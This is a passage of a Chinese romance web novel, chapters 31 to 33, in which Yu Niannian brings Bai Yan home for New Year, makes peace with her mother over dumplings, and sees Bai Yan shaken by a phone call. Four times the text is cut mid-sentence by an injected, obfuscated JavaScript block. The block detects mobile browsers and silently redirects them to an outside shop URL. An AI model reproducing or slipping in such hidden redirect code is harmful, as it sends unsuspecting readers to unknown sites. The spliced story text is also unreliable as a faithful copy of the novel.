余念念干笑着接下,看了一眼旁边嘴角有些压不住的白砚,内心默默滴泪:这爷孙俩,算是把她余念念拿捏得死死的。 —————— 很快就要过年了。 过年期间,余念念打算把茶馆关门几天,她盘算着,好不容易回趟家,还有跟母亲大人和解的任务在身,怎么着也得关七天吧。 她的茶馆虽然生意不错,但过年的时候谁家不出去玩,估计开了也生意惨淡。 所以,当她在茶馆里说出她要关店七天时,着实是没预料到众人会有这么大反应的。 “七天?!”小优叫道,“老板,哪个做生意的敢像你这么关门?生产队的驴都不敢这么歇!” “七天?!”魏大爷叫道,“我孤家寡人要流落在外七天!你真的忍心嘛小余!” “七天?!”刘大爷叫道,“我要在家带七天孙子,乐宝那臭小子岂不是要吵死我!小余我拜托你别这么狮子大开口!” 余念念被他们的抗议声震惊到,寻思,狮子大开口是这么用的?而且,她关自己的店,居然阻力也这么大? “小优,你一个打工的,不是应该希望多放几天假么?魏大爷,明明王大爷邀请您去他们家过年了,桂云婶说顿顿给您烧大餐,您少在这里卖惨!还有刘大爷,我不信您有这么老实乖乖在家带孙子,到时候还不是偷偷自己溜出去玩?” 小优:“我是本地人,不用回老家,也没亲戚要走,而且我跟我爸吵架了还没和解呢,我可不想天天在家对着他的扑克脸!” 魏大爷:“桂云做的菜再好吃,也是别人家的,我还是在你这里花自己的钱喝茶下棋比较自在!” 刘大爷:“溜出去玩这种事情年轻的时候干干就好,那时候只有一个媳妇管着,现在嘛,一堆人管着,连乐宝都能说我两句,我不干我不干!” 余念念:“那......五天?” 众人皱眉思考。 这时,茶馆门口飘进一个人影,居委会的陈帆气喘吁吁地进来了,一进门就喊:“余老板,听说你过年要关门?” 余念念点点头:“过年嘛,自然是要关门回家的。” 陈帆着急地问:“关几天?” 余念念看了眼另外三人,迟疑道:“五......天?” 陈帆瞪着眼睛:“五天!太久了吧!” 余念念:“......请说出你的理由。” “茶馆关门了我就没地方调酒了,五天不调酒我会憋死!” 余念念抿着嘴,看了他片刻,十分温和地说道:“陈帆,我非常理解你的感受,但是我是不可能因为你一个人的原因,就缩短自己的假期的,而且,我刚认识你的时候,你一天到晚在居委会工作,并没有在调酒,也活得好好的,可见,你是憋不死的。” 陈帆焦急地转了转眼珠子,急中生智:“那三楼那群客人怎么办,你也不管他们死活啦?我可听他们说了,过年走亲戚太无聊了,要是能在天台晒太阳就太好了!” 这个理由成功让余念念犹豫了,她知道,自己的三楼天台确实让某些忠实客户精神上瘾,但是......区区五天,也没那么难熬吧? 她凝眉看过去,对面几人一脸苦大仇深的样子,于是,她又迟疑地开口:“那......三天?” “成交!” 魏大爷连忙点头,冲另外几人做出个往下压的手势,意思余念念看懂了:到极限了,不能再逼了,见好就收吧。 冷静下来,余念念又仔细想了想,三天!够干啥?她张开嘴,要再商讨商讨,一抬眼,魏大爷拉着刘大爷和陈帆往门口走,边走,边扔下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209330|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句:“做生意啊,最重要就是诚信!” 小优在里面应道:“可不是么,我们老板就是最讲诚信的!” 余念念于是干脆地闭嘴,从口袋里掏出一个红信封,递给小优。 小优接过去,感受了一下厚度,喜笑颜开:“谢谢老板!我就知道我计小优没了我爸的银行卡也饿不死!现在,我可以过个好年喽!” 余念念皱眉:“我是不是成为你们父女和解的绊脚石了?” 小优勾住她的脖子,在她脸上重重亲了一口:“错!你是我走向独立的助推器!” —————— 终于,腊月二十九到了。 这天早上,余念念没让小优来上班,独自一人将茶馆打扫干净,提前贴好对联,锁好大门,便和白砚一起去了高铁站。 高铁缓缓开动,坐在窗边的余念念盯着窗外,有些怅然若失地叹了口气,转过头来,看着白砚。 “一年,就这么过去了?” 白砚点点头:“过去了。”说完,见余念念脸色失落,又安慰:“你今年过的不是很精彩么?” 余念念想了片刻,笑道:“前面十个月已经完全模糊了,只有从十一月见到你和白爷爷的那个晚上开始,生活就像开了加速器,一个月发生的事能顶一年,一个月认识的人能顶之前十年,还有,”她突然顿住,“一次惹我妈爆发的怒气值,能比得上之前二十多年......” 她担忧地看了白砚一眼:“所以,这次去我家,你要保护好自己,当然,我也会尽量保护你,但我很可能自身难保......” 说着,她直起身,认真地掰着手指头交代:“记住三件事:第一,尽量远离我妈,她武力值惊人,你应该已经见识过了;第二,尽量避免跟我弟,也就是余玩交谈,他嘴贱,又八卦,还大嘴巴;第三,我爸可以多聊,他温和无害,是和稀泥种子选手,我妈爆发时能拿他挡箭牌就千万别客气。” 白砚似乎觉得她说的很有意思,眼里冒出笑意:“有你这么说自己家人的么?” “还有,最后一点,也是最重要的一点,记住,我们这次回家,是热脸贴冷屁股,你跟着我受苦了,但我们就当历三天的劫,历完回崇安就好了,千万保持平和的心态,好么?” “余念念,你......” “对了,面子功夫还是要做一做的,一会儿,出了高铁站,我们找个水果店买几盒水果拎回去,免得他们说我过年回家两手空空,我知道你这个不食人间烟火的人是想不到这个的,放心,有我。” “余念念,我......” “老天保佑,让我这次平安渡劫,我愿意单身三年换这一次安稳......” “余念念,住口!” ...... 下了高铁,从出站口走出,两人正要按计划要找家水果店买点水果,突然,余念念浑身一颤,直直瞪着某个方向,表情像见了鬼一样。 “怎么了?”白砚问,又顺着她的眼神看过去,只见,在出站口外,立了一排三个人。 为首的,是余妈,一如之前气场强大,羊毛大衣从头裹到脚,双手抱臂,眼神隐藏在一副墨镜下。 中间的,是一个一看就知道是余念念爸爸的中年男子,一脸温和,略显局促地搓着裤缝。 最后面,是一个高个子细长条年轻小伙,举着横幅:欢迎余念念携男友回乡探亲。脸上带着夸张的笑意。 三个人如同wifi信号一样从低到高杵在那里,出站的乘客无不对他们投去好奇的眼神,还对着横幅指指点点,小声讨论着“余念念”是何方神圣。 余念念:“......” 白砚:“......你不是说,我们是热脸贴冷屁股么?” 31. 音符 从高铁站回家,是余妈开车。 余念念一脚将余玩踢进了副驾驶,自己则一左一右拉着余爸和白砚,坐进了后排。朴实无华的白色大众SUV里,满满当当坐了一车人。 车平稳开了一会儿后,余念念凑到余爸耳朵边,小声问:“爸,怎么会有这么一出?” 余爸也跟着小声回答:“都是余玩的主意。” 余念念瞄了眼驾驶座上带着墨镜面无表情的女人:“妈能同意?” 余爸声音更小:“未予驳回。” 余念念若有所思,换了个方向,凑到白砚耳边,小声道:“我知道了,我妈估计对上次在我店里闹的那出怀有一丢丢愧疚,这次可能不是冷屁股,是温屁股......” 呼吸打在白砚耳下,他下意识地缩了缩脖子,将拉链拉起来,轻轻“哦”了一声。 他的动作被余妈敏锐地捕捉到,接着,她将车内空调温度打得更高,问:“小白,冷么?” 这是双方见面后,余妈对他俩说的第一句话,语调称得上温和。 白砚回道:“阿姨,不冷,桐贤市的气候很好。” “是么?桐贤是个小城市,虽然比不上崇安这样的大城市,但很宜居,这两天让余念念带你逛逛。” 副驾驶上坐着的余玩扭过头,和余念念交换了一个震惊的眼神,靠着亲姐弟之间的心灵感应,外加挤眉弄眼,完成一轮无声的对话。 “姐!妈不生气了?” “不不不,可能只是暂时的,有外人在,她还是要装一下的。” “有道理,不愧是姐!” “那当然,学着吧你!” “咳咳!”余妈咳嗽两声,吓得余玩赶紧回正身体,问:“妈,嗓子不舒服?” 余妈声音瞬间威严:“你坐好!” 后排,余念念又凑到白砚耳边,低声道:“你做得很好,一会儿,我们趁热打铁,在小区门口下车,假装给你买日用品,去水果店里买些高级水果,让温屁股升级成热屁股!” 白砚还未回答,前排,余妈冷喝道:“余念念,你在说什么!什么屁股不屁股的!” 余念念赶紧缩起脖子,正襟危坐。 顺利回家,平稳汇合,气氛甚至称得上融洽,这个场面她已经十分满意了,浑身的压力卸了大半,一下子昏昏欲睡起来。 ...... “念念......” 白砚的声音低低在头顶方向喊着,余念念缓缓睁开眼,一下子对上三双盯着她的眼睛——余妈已经摘下了墨镜,因此,看过来的锐利眼神展露无疑——而她自己,刚刚从白砚的肩膀上醒来。 “念念,我们到了。”白砚低声道。 这个称呼白砚叫得似乎挺顺口,但余念念听在耳朵里还是有些害羞。她连忙直起身,打量四周,车居然已经开到了自己家楼下。 “啊。”余念念一声低呼,看向白砚——没机会买水果了。 “没事的。”白砚眼神安抚地看着她,“先上楼吧。” —————— 余念念的家是桐贤市一个普通小区的三室一厅住宅。 一进门,她就直奔自己房间,放下行李,在柔软的大床上呈大字型躺下,再翻个身,将脸埋在枕头里猛吸一口,满意地感受到熟悉的阳光气息包裹住自己。 在崇安,她天天忙茶馆的事,已经很久没有在阳光下晾晒过枕头被子了,而在自己家里,余妈向来保持着只要有太阳就晒被子的习惯。 一分钟后,走出房门,余念念顿住——白砚还背着双肩包,站在原地等着——她怎么把这事给忘了! “那个......要不,你睡......沙发?”余念念惴惴道,客厅沙发挺大的,睡一个成年人绰绰有余。 几道声音同时响起。 白砚:“好。” 余玩:“嗯?” 余妈:“不行!” 余爸慢半拍地插进来:“念念你说的什么话,怎么能让客人睡沙发,小白,你睡余玩房间,床单被套都是新换的,余玩睡沙发。” “就是啊姐,你能不能对小白哥好点!” 余念念松了口气,弱弱道:“是我不懂事了......” 她走到白砚身后,从他肩膀上脱下双肩包,双手捧在怀里,脸上堆起狗腿的笑意:“我帮你把行李放进去。” “等一下,让我把礼物拿出来。”白砚拦住她道。 余念念怔住,礼物?他什么时候背着她偷偷买水果了么? 白砚看了眼她的表情,低头浅笑,从包里拿出三个小巧精致的盒子,依次递到余家三人手上:“叔叔阿姨,余玩,新年快乐。” 余妈的盒子打开,里面是一只玉凤凰簪子,浅绿色的簪体发着清幽幽的光泽,凤凰栩栩如生,不用介绍,明眼人都能看出成色极好。 余爸的盒子打开,里面是一只玉茶杯,极为小巧,可能只能装几口茶水,但看着就可爱讨喜。 余玩的盒子打开,里面是一个玉质的异形摆件,两只长长的条状物,一头交错在一团圆圆的物体上。 余玩缓缓道:“这莫非是......” 白砚点点头,认真道:“一颗鱼丸。” 余玩瞪大了眼睛,满眼的不可思议:“这是我收到过最好的礼物!” 余念念差点笑出声,从余玩手中拿过来仔细端详,一脸惊奇:“一颗鱼丸?谁家玉器店会卖玉鱼丸呐?” “这是我自己做的。”白砚道。 余家一家四口齐齐愣住,余念念指了指余爸手中的茶杯和余妈手中的头簪,探询地看向白砚,后者点点头:“都是我做的。” 余玩喊道:“姐夫!你也太有才了吧!” 余妈有些迟疑:“小白,这礼物有些过于贵重了,我们不能收。” 余爸在一旁点头:“就是就是,太贵重了。” 余玩“啊”了一声,从余念念手中抢过鱼丸:“可我真的好喜欢这颗鱼丸!” 白砚微笑道:“叔叔阿姨,我们家开书画斋,认识不少做玉器生意的朋友,我经常从他们那里拿玉回来自己做着玩,不是什么特别贵重的东西,只是我的心意而已。” 余爸余妈这才点头收下,余玩已经将鱼丸摆到自己房间书架的最显眼位置了。 一旁,余念念内心十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220943|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分复杂。从目前得到的不完全碎片信息来看,白砚家在老街有不止两个店铺,在市中心的高档公寓顶层有一间大房子,他可以随时打电话找一个专职司机深夜开车来接他,现在,他还有拿玉来随便做手工玩的小喜好! 这不是假天仙,这是真天仙呐! 他身上不食人间烟火的气息是打娘胎里带出来的吧! 这样的天仙,她的小茶馆怕是供不起的...... “想什么呢?”白砚问。 “啊?”余念念回神,摇摇头摆脱刚刚莫名生出来的一股悲观情绪,“没什么没什么,就是感叹一下,你的手真巧!” “过来,你也有。”白砚说着,从包里又掏出一个小盒子,亲手打开,露出里面一枚浅绿色的小小音符,一枚玉音符,音符下面,拖着一小段黑色缎面丝巾。 “这是,送我的?” “嗯,”白砚将音符拿起来,余念念看出,那是个发带,他问:“我帮你带上?” 余念念一头长发,经常半扎着,发型和这枚发带十分相衬。 余玩两眼冒星星,嘴里长长地“哇——”着。 余念念脸一红,扭头看了眼余爸余妈,余爸正一脸笑意地看着她,连余妈的嘴角都隐隐有个上翘的弧度。 余念念转过身,将头发交给白砚,感受到他一阵轻柔的动作,接着,是他刻意放低的声音:“好了,我就知道你带着会很好看。” 音量很小,但还是被余玩听见了,他一阵被甜到牙倒似的怪叫。 余念念恨不得把头低到胸口,不敢看白砚的眼睛,干咳了两下,喊道:“饿死了饿死了,饭好了么?” 余爸余妈纷纷起身走到厨房里,余玩被她眼神逼退,又回房间把他的鱼丸拿出来重新把玩。 白砚察觉到她之前短暂的情绪低落,看着她的眼睛,问:“怎么了?不开心?” 余念念眨眨眼,眼睫翻飞间情绪已调整到位,摸着下巴谴责道:“没有不开心,只是,没想到你心机这么深,连我也瞒着!” “本来没想瞒着的,可你一路上都没给我开口的机会......”白砚软软道,又将手伸到她眼前,“你看,为了给你做发带,我手都磨破了。” 修长的十指上,分布了几处红色的伤口,由于肤色白皙而衬得格外可怜。 她又抬眼看他眼睛,微皱的眉头下,黑白分明的眼神,清清冷冷的撒娇。 余念念叹了口气,天仙难养是真的,令人心动也是真的。 “好吧,原谅你了。” 手机微震,一条微信进来,她点开,是李阿姨发来的语音。 “嘿,爸,妈,李阿姨消息真灵通,我刚到家她就给我发消息了!” 厨房里,余妈的背影微不可见地僵硬了片刻。 余念念点开语音,李阿姨中气十足的声音飘出来。 “念念!听你妈说,你带男朋友回家过年啦!记得咱俩之前的约定,明天带男朋友来我家看我!一定一定要来哦!等你!” 余念念瞪着手机,遥遥看向厨房里显得很忙的那个身影,大喊:“妈!我带男朋友回家的事,你在外面替我宣传啦?” 32. 和解 第二天,走在去李阿姨家的路上时,余念念还在拉着余玩碎碎念。 前一天,面对余念念的质问,余妈强势回击:“还不是为你上次从医院逃走的闹剧擦屁股!答应了的就要做到!人家李阿姨一直挺喜欢你的,你怎么不知道关心关心她!” “再怎么关心人家,也不能过年当天往人家家里跑吧......”余念念扭头看了自己一家四口外加白砚,总共五人气势汹汹走在路上,偷偷小声在余玩耳边蛐蛐,“大过年的上门,按以前的说法,不是去讨债的么?” 余玩这次倒没有跟她统一战线,他冲白砚的方向扬了扬眉,说话的语气里带了一丝与有荣焉:“现在都什么年代了,姐,好东西不兴藏着掖着了!妈成天看着这家结婚那家抱孙子,好不容易轮到自己女儿了,你还不让她显摆一下啊?” 完了,余念念咽了口口水,看了眼义正严辞的余玩,内心升起一股隐隐的担忧——演员演技太好,观众太入戏,但只有她自己一个人知道后面剧情走向大概率是BE,甚至,连另一个演员都不知道...... 她看向白砚——他正沉稳地走在余爸身边,跟他聊着什么,两人步调意外地和谐,余爸脸上露出舒心的笑意——白砚他......确实很好,但是,她看过的很多剧情里,独立女性遇到身世背景复杂的真爱后,大多要经历一段很惨的时光,就算最后修成正果,女主也会从内到外都褪层皮,很可能,外表还是那个人,内心已经换了个人。 而她余念念,她完全可以绕开这段纠缠,安安心心搞自己的事业,她的茶馆蒸蒸日上,老街街坊都很喜欢她,现阶段,她完全不需要一段过于复杂的爱情来为她的生活锦上添花,就算那个人是白砚。 这时,白砚察觉到她的眼神,往她身边靠近了两步,问:“怎么了?” 余念念笑着摇摇头:“你跟我爸聊什么呢?” “聊你小时候。” “!” 悲伤一下子消失了,余念念脑中警铃大作,她插进白砚和她爸之间,高声道:“我们来聊些有用的吧!比如,天气怎么样?晚上年夜饭吃什么?桐贤哪里好玩?” 两个男人对视一眼,默契地顺着她应和:“今天天气真好。”“晚上你妈做红烧肘子!”...... —————— 李阿姨家在余念念家附近一个有些破旧的小区。从余念念家步行到这里,有一种倒退回十年前的错觉。 杂乱的车位,拥挤的楼道,老式的镂空铁架子防盗门,但防盗门后的木质入户门上,工工整整地贴了喜庆的大红对联。 几乎跟敲门声同时响起,李阿姨的声音透过房门传出来:“来啦来啦!哈哈,总算是来啦!” 门打开,里面是老户型布局下有些拥挤的客厅,但被收拾得干净整洁。 李阿姨一把将余念念拖进去,接着,又眼尖地将白砚拖进去,一手抓一个,往屋里走:“哎呀,这两个孩子,真般配啊!” 余念念和白砚被她拉着,嘴里说着过年的吉祥话,身后,没人领的三个人自顾自地换鞋进了门,余玩酸酸地小声说道:“哼,从小到大,李阿姨还是这么重女轻男。” 余妈熟门熟路地将手中带来的菜送到厨房里,又从余爸手中接过新鲜鲜花,将客厅桌上一瓶有些蔫了的花替换掉。 李阿姨笑着看她做这些,嘴里念叨:“也就是你,喜欢弄这些花啊草的,要我说,费事的很!” 余妈笑得温和:“屋子里有些鲜花,心情会好些。” 李阿姨沉默了一会儿,又扬起头,往厨房走:“我去给你们切些水果!” 余念念四下张望了下,整个房子里似乎没有第二个人了,她问余爸:“何叔叔呢?” 何叔叔是李阿姨的丈夫,以前,两家人经常一起结伴出去玩。 余爸做了个小声的手势,低声道:“忘了告诉你了,你何叔叔生病了,经常要去医院化疗,看这样子,过年期间又要在医院过了。” 余念念心里一沉,她想起上次见到李阿姨时,也是在医院,但她确实没法将那个脸上一直带笑、收拾得干净利落、说话中气十足的女人,和一个癌症患者的妻子联系到一起。 “所以,妈让我来看李阿姨,不是炫耀男朋友的,是想让我多陪陪她......” 小时候两家一起出去玩的记忆她已经有些淡忘了,但她记得,李阿姨一直没有自己的孩子,却很喜欢小女孩,因此对余念念好得像女儿。 “过年就你一个人?”余妈扬声问。 李阿姨捧着果盘出来:“就我一个,老何在医院医生也不让家里送吃的,嗨,我落得轻松。” “那上我家过吧?人多热闹。” “不用不用!我一个人包顿饺子,挺好!” 余念念心里一动,直起身:“那李阿姨,我们可以在您家过年么?白砚特爱吃饺子,但我们家过年不吃饺子!” 李阿姨眼里亮起惊喜的光:“念念,你说真的么?” 余念念与白砚交换个眼神——他俩认识后,她从没见他吃过一顿饺子——白砚十分自然地点点头,笑着道:“是的李阿姨,我正想晚上自己上饭店打包盒饺子呢。” “嗨,打包个啥!”李阿姨肉眼可见的开心,“老余他们家地道南方人,过年没有吃饺子的习惯,只有我们这些北方过来的人愿意吃饺子!别担心,你今年来桐贤过年,阿姨可不能让你这么可怜!” 余妈揽住李阿姨的肩膀:“那可真得感谢你喽!我和老余确实没有包饺子的手艺。” 余爸转过身,偷偷冲余念念竖了个大拇指。余玩安安心心瘫到沙发上,打开电视,一副既来之则安之的样子。 余念念突然想起什么,转回身去看白砚,有些愧疚地凑到他耳边,轻声道:“对不起,过年不能在自己家过,不过,李阿姨包的饺子真的很好吃。” 白砚笑得温和:“没关系,对我来说都一样,跟你一起过就行。” 余念念:“......” 桐贤的空气里莫非有奇怪的东西?这家伙怎么一来就像打开了什么土味情话开关...... —————— 下午,余爸余妈和余玩出去采购一些晚上的食材,白砚和余念念留在家里跟李阿姨一起包饺子。 “小白,念念,你们会包饺子么?”李阿姨笑着问两人。 “不会。”两人齐齐答道。 “包两个就会了,不难!” 十分钟后,余念念发现,人和人的“不会”,不是同一种“不会”,而李阿姨口中的“包两个就会了”,也不是那么绝对的。 白砚十指纷飞,成功出师,甚至青出于蓝胜于蓝,真的包了“两个”就会了,从第三个开始,就漂亮得可以直接放到商店柜台里出售。 余念念的手却像被下了降头,跟她的眼睛反着来,眼睛告诉她要往左拧,手偏要往右拐,饺子连成形都困难,更不用提美不美观的问题了。 白砚在旁边发出阵压抑的闷笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233651|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在憋不住,指着一只漏了半截馅的饺子问:“它被肉馅封口了么?” 余念念怒目而视,白砚安抚道:“没事,一家有一个人会包饺子就可以了。” 余念念正要反驳,李阿姨接道:“小白说得对,一家人互补就很好,并不需要都会的。就像念念你爸妈,性格互补,这么多年,过得多么好。” “李阿姨,两个人之间叫互补,一对多那叫实力碾压。” 李阿姨笑起来:“念念,你误会你妈了,她是我认识的内心最柔软的人。” 余念念定住,从小到大,她从来没将她妈和“柔软”这个词联系起来过。 “从你叔叔生病以后,她找遍了所有理由往我们家送东西,吃的喝的也就算了,穿的用的也要管,有时候啊,找的理由我都想笑,就像那副十字绣,她自己花了两个月绣的,说余玩不喜欢,怕挂在家里影响他复习,非要挂在我家里......” 余念念扭头看,墙上一幅盛开的睡莲,极为繁复,不花费一番心思是绣不完的。 “还有,她对你管得这么严,也是因为她心里对你怀了愧疚。” “愧疚?您说她不让我开茶馆?” “不,是小时候那件事。” 余念念脑中一阵涟漪,接着,某些记忆在涟漪之下浮现出来。 “您是说,我被丢给爷爷奶奶那件事......” 李阿姨点点头:“余玩刚出生时,体弱多病,身上长了不好的东西,你爸妈带着他四处治病,把你丢给两个老人家,你那时候六七岁,已经什么事都懂了。父母一走两年,回来之后,你怎么也不肯跟他们回家” 余念念回想起一副画面,她牵着爷爷奶奶的手,小小的身体倔强地背对着那两个身影,嘴里喊着:“我不认识他们!他们只要儿子,不要女儿,我不跟他们走!” 想着想着,她眼眶一阵发热,却忍不住噗地笑出来,那小屁孩儿,怎么这么记仇! “那句‘只要儿子,不要女儿’,你妈记了几十年,她老跟我说,往后,余玩在外面受什么苦她都不管,但是你呢,她要留在身边保护得妥妥帖帖。” “原来是这样......我一直以为,她只支持余玩闯荡世界,不理解我的理想和坚持......” “怎么会呢,她只是担心你受苦。” 一串眼泪顺着脸颊落下来,余念念低着头,两只手被又一只裂了口的饺子束缚住。 白砚抽出张纸巾,轻轻替她擦掉眼泪,低声道:“原来你从小主意就这么大。” 余念念一下子又哭又笑:“可不是么,原来我从小就是独立女性,不,独立小女孩儿!” 这时,门口敲门声传来,余念念一个激灵,丢开饺子,冲到门口。 门开了,余妈风风火火拎着一袋子东西进来,被余念念迎面撞击:“啧!干嘛你!” 余念念头埋在她肩上,抱着她晃了晃,瓮声瓮气地喊道:“别装了你!我知道,你既要儿子也要女儿,我不记仇,你也别记仇!我们两个女人今天就此和解!” 余妈浑身一震,挺得笔直的肩背柔软下来,任由余念念抱着她晃。李阿姨走上前,一手扶着余妈的肩膀,一手在余念念头上一下一下顺着。 余爸和白砚对视一眼,满意地会心一笑。 只有余玩,什么也不知道的余玩,楞楞地看着眼前这一幕,急得像热锅上的蚂蚁,将头伸到每一个人的眼睛底下。 “谁能告诉我这是在演哪出?” 33. 仓皇 窗外,冬夜的城市灯火一点点亮起来,从郊区遥遥地传来烟花爆竹声。 屋内,菜肴已备好,饺子刚下锅,电视里播放着过年的喜庆音乐,瓜子花生糖果花纸撒得遍地都是,热气缭绕,一排热闹。 白砚突然提议:“我们拍张照吧。” “好啊好啊!”所有人立刻赞同。 余妈冲李阿姨道:“你知道么?小白是专业摄影师,得过很多大奖的!” 余念念和余玩对视一眼,达成一致意见——这次是真的明目张胆的炫耀了。 李阿姨笑着道:“让他给你这个丈母娘多拍几张美照!” 余妈嗔怪地“啧”了她一下:“什么丈母娘,别把人家孩子说不好意思了,我们家可不催这个。” 但脸上掩盖不住的喜气。 余念念有些心虚地转身要躲开,被白砚一把拉住:“念念,你坐中间。” “嗯?”余念念扬起眉,仰头看他:“白砚老师,你作为一个专业摄影师,可不能每次都偏心得这么明显,今天哪轮得到我坐中间呢。” 白砚于是由着她一通安排,余爸余妈李阿姨在沙发上坐了一排,余念念余玩站在他们身后。 举起照相机,正要拍,其他人齐齐制止住。 “哎等一下,小白你快来呀!” “对啊,是大家一起拍合照,不是你替我们拍合照!” 余念念也招手道:“就是就是,你把照相机调好,放在茶几上,过来站我旁边!” 白砚愣了片刻,像是对他们的话有些意料之外,接着,又微微笑了,似乎这又是情理之中,他仔细调好参数,走到余念念身边,在倒数计时的最后一秒,将手揽在了余念念肩膀上。 “茄子!”“耶!”“过年喽!”其他人乱糟糟地喊着。 “新年快乐!”热气打在余念念耳边,白砚贴着她的耳朵低声说道。 “咔嚓”一声,相机将画面定格。 几分钟后,余念念瞪着这张被白砚点评为“很好”的照片,微微皱眉:“什么嘛,这都看不清你的脸呀。” 照片上,每个人都笑得很好,唯独白砚,贴近余念念,只露出若隐若现的半张脸,像是靠近光源时边缘被模糊掉的一团阴影。 身后,余玩凑过来,看了照片一眼,煞有介事地点点头:“我知道小白哥为什么说‘很好’了,因为这样看上去他像是在吻你的脖子!” 余念念脸上一烫,丢下相机,追着余玩满屋子打。 沙发上,白砚又拿起相机,看着照片,一直看,一直看,直到余念念追不动了,喘着粗气瘫到他身边。 “念念。”白砚道。 “嗯?” 两天了,她似乎已经习惯这个称呼了。 “今天真好。” 余念念睁开眼睛,看过去,白砚笑着看她,但眼神幽深,里面除了笑意,像是还有别的东西。 “我也觉得,过年真好!” “以后每一年过年,都这样过吧。” 余念念心跳顿了一下,每......一年么? 但接着,她便说服自己,他们眼下还在戏里,这是角色扮演,说什么都当不得真的。 “好啊~” 白砚眼里的笑意变得真实,下一秒,像是下定了某种决心,盯着余念念的眼睛,用只有他们两个可以听到的音量说道:“一会儿,吃完年夜饭,我想和你出去走走,我有话要对你说。” 余念念呼吸都变得迟缓了,整个人紧张起来:“又有......话要说啊?” “嗯,这次,我一定要把话说完。” “......一定要今天说?” “一定要今天说。” 余念念将眼神从他笃定的眼睛中收回,扭头瞟了一眼身后,饭桌上摆着一瓶老白干——很好,一会儿吃饭的时候,猛干几口,她余念念不能怂。 乐观的,悲观的,开心的,难过的,简单的,复杂的,统统都不在今晚的考虑范围之内。 就让酒精,哦不,就让直觉带领她走向那个未知的答案吧。 下定这个决心后,她长长出了口气,笑着应下:“好!” “开饭啦!”余妈在餐桌边喊道。 “来啦!”余念念应着,站起身,将白砚也从沙发上拉起来,嘴里念叨,“今天真好,今晚的年夜饭更好,你多吃几个饺子,晚上你说出来的话说不定就是韭菜味儿的,以后,我们回忆起今晚的这场对话,就是一段有味道的回忆,简直好极了!” 白砚本来一脸笑意地被她拉着,听了这话,笑容逐渐消失:“那我不吃饺子了。” 余念念笑出声:“那你想要什么味道的回忆?还有猪肉白菜馅儿的,芹菜豆腐馅儿的,你挑一个!” “......余念念,你故意的吧。” 白砚气得忍不住要伸手去捏她的脸,被她大笑着躲开:“我就不一样了,我要喝二两老白干,以后回忆起来,我浑身散发着壮士的气息!” 正嬉笑扭打着,白砚突然顿住,一手拉着余念念,一手从口袋里掏出手机,它正嗡嗡震动着。 看到屏幕的一霎那,白砚脸上的笑容消失得一干二净,取而代之的,是突如其来的仓皇。 余念念松开他的手臂,她从没见白砚有过这样的表情:“怎么了?” 白砚紧紧盯着屏幕,就像盯着一个漩涡,但迟迟没有下一步动作。 手机持续不停地震动着,中间短暂停下,但很快,又重新震动起来,从震动频率中,几乎可以看到电话那头的人隐隐的疯狂。 “是谁啊?不接么?”余念念轻声问。 白砚脸色发白,紧紧闭上眼,胸膛起伏着做了几个深呼吸,又睁开,声音有些颤抖:“等我一下。” 接着,便走到阳台上,接起了电话。 余念念有些担心,退了几步,远远看着白砚的背影。 电话很快接完,快得有些出乎余念念意料,白砚走回她身边,像是刚从冰天雪地里走过来一样微微发着抖。 “小白!念念!快来吃饭啦!”余妈又喊着。 余念念抓住白砚的胳膊,看向他的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252957|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,想要确认他真的没关系。白砚递给她一个安抚的眼神,拉着她坐到桌边去。 “来,小白,念念,每种味道的馅儿都尝尝!”李阿姨盛了满满当当两碗饺子,递了过来。 两人起身接过来,碗里,漂亮的饺子是李阿姨和白砚包的,裂了口的饺子是余念念包的,还有几颗饺子馅儿已经完全脱离了皮,正在裸奔。 “谢谢李阿姨!”余念念突然大声来了一句。 “具体谢啥?没头没尾的。”余妈问。 “让我的饺子享受一视同仁的下锅待遇。” 余玩一脸深有同感的表情,夹起一颗孤零零圆滚滚的肉馅儿:“姐,你要不说这是饺子,我还以为这是你额外替我加的鱼丸呢。” “你给我闭嘴!” 